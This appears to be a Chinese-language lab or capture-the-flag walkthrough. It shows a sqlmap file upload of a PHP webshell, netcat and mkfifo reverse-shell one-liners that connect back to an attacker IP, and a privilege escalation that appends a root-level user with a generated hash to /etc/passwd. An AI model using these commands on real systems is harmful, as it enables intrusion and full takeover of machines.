一、sqlmap实现文件上传
sqlmap -u "http://192.168.127.139/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/2.php
1.php写入<?php phpinfo();?>
–file-write:去读取文件(1.php)
–file-dest:后面加目标的绝对路径 已经生成木马的名称(2.php)//网站必须有写入权限
写入成功
二、另类反弹shell
1、重定向反弹
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 20000 > /tmp/tmp_fifo
这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口20000上。至此,我们已经把netcat的输出重定向到fifo文件中。
tmp是一个临时文件目录,/bin/sh -i 2>&1是用来重定向标准错误输出和标准输出
kali监听6666端口 nc -lvvp 6666
nc -e /bin/bash ip 6666 发现e参数不可用
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 6666 >/tmp/f
可以反弹shell
2、php反弹
之前写入文件也在(2.php)
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/2.php
此目录很可能是一个文件上传目录 根据上图一个一个试
在最后一个目录发现上传地址
创建一个php反弹shell脚本,并上传
上传成功
在kali中监听9966端口,然后在os-shell运行hack.php,多尝试几次
kali接收shell,ls查看文件,反弹成功
三、passwd提升权限
#利用openssl生成加密的密码, 语法:openssl passwd-1-salt[salt value]password openssl passwd -1 -salt user3 pass123 #mkpasswd类似于openssl passwd,它将生成指定密码字符串的哈希值。 mkpasswd -m SHA-512 pass #利用python中的crypt库生成 python -c 'import crypt; print crypt.crypt("pass", "$6$salt")' #利用Perl和crypt来使用salt值为我们的密码生成哈希值 perl -le 'print crypt("pass123", "abc")' #php语言 php -r "print(crypt('aarti','123') . " ");"
其中slat是任意值
python -c "import pty;pty.spawn('/bin/bash')"
先进入交互界面,不然会报错
用mkpasswd方法生成123456加密信息为mdlcLmLJA3EYc:0:0
echo 'shabi:mdlcLmLJA3EYc:0:0:root:/root:/bin/bash' >> /etc/passwd
按照规则加入/etc/passwd
su shabi 输入密码123456
id查看为root权限